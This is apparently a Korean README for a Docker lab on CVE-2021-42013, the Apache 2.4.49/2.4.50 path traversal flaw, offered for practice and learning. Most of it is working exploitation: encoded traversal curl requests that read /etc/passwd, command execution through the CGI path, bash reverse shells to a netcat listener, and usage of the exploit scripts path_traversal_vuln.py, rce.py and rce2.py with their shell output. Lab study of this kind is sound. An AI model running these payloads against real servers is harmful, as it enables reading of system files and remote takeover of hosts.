twseptian/cve-2021-42013-docker-labCVE-2021-42013을 실습하고 배우기 위한 Docker 컨테이너 랩
Apache HTTP Server 2.4.50에서 CVE-2021-41773에 대한 수정이 불충분한 것으로 확인되었습니다. 공격자는 경로 순회(path traversal) 공격을 사용하여 Alias와 유사한 지시문으로 구성된 디렉터리 외부의 파일에 URL을 매핑할 수 있습니다. 이러한 디렉터리 외부의 파일이 일반적인 기본 구성인 "require all denied"로 보호되지 않으면 요청이 성공할 수 있습니다. 이러한 별칭 경로에서 CGI 스크립트도 활성화된 경우 원격 코드 실행으로 이어질 수 있습니다. 이 문제는 Apache 2.4.49 및 Apache 2.4.50에만 영향을 미치며 이전 버전에는 영향을 미치지 않습니다 [1].
$ docker build -t apache-default default_conf
$ docker run -dit --name apache-app -p 81:80 apache-default
$ curl -s --path-as-is "http://172.17.0.2:80/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
-path_traversal_vuln.py 사용
$ python3 path_traversal_vuln.py -h
>> CVE-2021-42013 - Path Traversal
>> by twseptian
usage: path_traversal_vuln.py [-h] -t URL -p TARGET_PORT -x PAYLOAD -f FILE_READ
CVE-2021-42013 - Path Traversal
optional arguments:
-h, --help show this help message and exit
-t URL, --target URL Target IP
-p TARGET_PORT, --port TARGET_PORT
Target port
-x PAYLOAD, --execute PAYLOAD
Path Traversal Payload
-f FILE_READ, --file FILE_READ
File to read
$ python3 path_traversal_vuln.py -t 172.17.0.2 -p 80 -x '.%%32%65/.%%32%65/.%%32%65/.%%32%65' -f /etc/passwd
$ docker build -t apache-cgi cgi_mod_enable
$ docker run -dit --name apache-lab -p 82:80 apache-cgi
$ curl -s --path-as-is -d "echo Content-Type: text/plain; echo; id" "http://172.17.0.3:80/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$ curl -s --path-as-is -d "echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/172.17.0.1/4444 0>&1" "http://172.17.0.3:80/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash"
$ nc -lvnp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.3.
Ncat: Connection from 172.17.0.3:35660.
daemon@dcbbed945af7:/bin$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@dcbbed945af7:/bin$
-rce.py 사용
$ python3 rce.py -h
>> CVE-2021-42013 - Remote Code Execution
>> by twseptian
usage: rce.py [-h] -t URL -p TARGET_PORT -x PAYLOAD -s SHELL
CVE-2021-42013 - Path Traversal
optional arguments:
-h, --help show this help message and exit
-t URL, --target URL Target IP
-p TARGET_PORT, --port TARGET_PORT
Target port
-x PAYLOAD, --execute PAYLOAD
Path Traversal Payload
-s SHELL, --shell SHELL
shell
$ python3 rce.py -t 172.17.0.3 -p 80 -x '%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65' -s "/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.3] 41052
daemon@82f07f4b32a8:/bin$
rce2.py 사용$ python3 rce2.py -h
>> CVE-2021-42013 - Remote Code Execution
>> by twseptian
usage: rce2.py [-h] -t URL -p TARGET_PORT -L LOCALHOST -P LOCALPORT -x PAYLOAD
CVE-2021-42013 - Path Traversal
optional arguments:
-h, --help show this help message and exit
-t URL, --target URL Target IP
-p TARGET_PORT, --port TARGET_PORT
Target port
-L LOCALHOST, --lh LOCALHOST
Localhost/Local IP
-P LOCALPORT, --lp LOCALPORT
Localport
-x PAYLOAD, --execute PAYLOAD
Path Traversal Payload
$ python3 rce2.py -t 172.17.0.3 -p 80 -L 172.17.0.1 -P 4444 -x '.%%32%65/.%%32%65/.%%32%65/.%%32%65'
>> CVE-2021-42013 - Remote Code Execution
>> by twseptian
[!] Payload: .%%32%65/.%%32%65/.%%32%65/.%%32%65
[*] Setting up a netcat listener
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.3] 41122
bash: initialize_job_control: no job control in background: Bad file descriptor
daemon@82f07f4b32a8:/bin$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@82f07f4b32a8:/bin$
참고 자료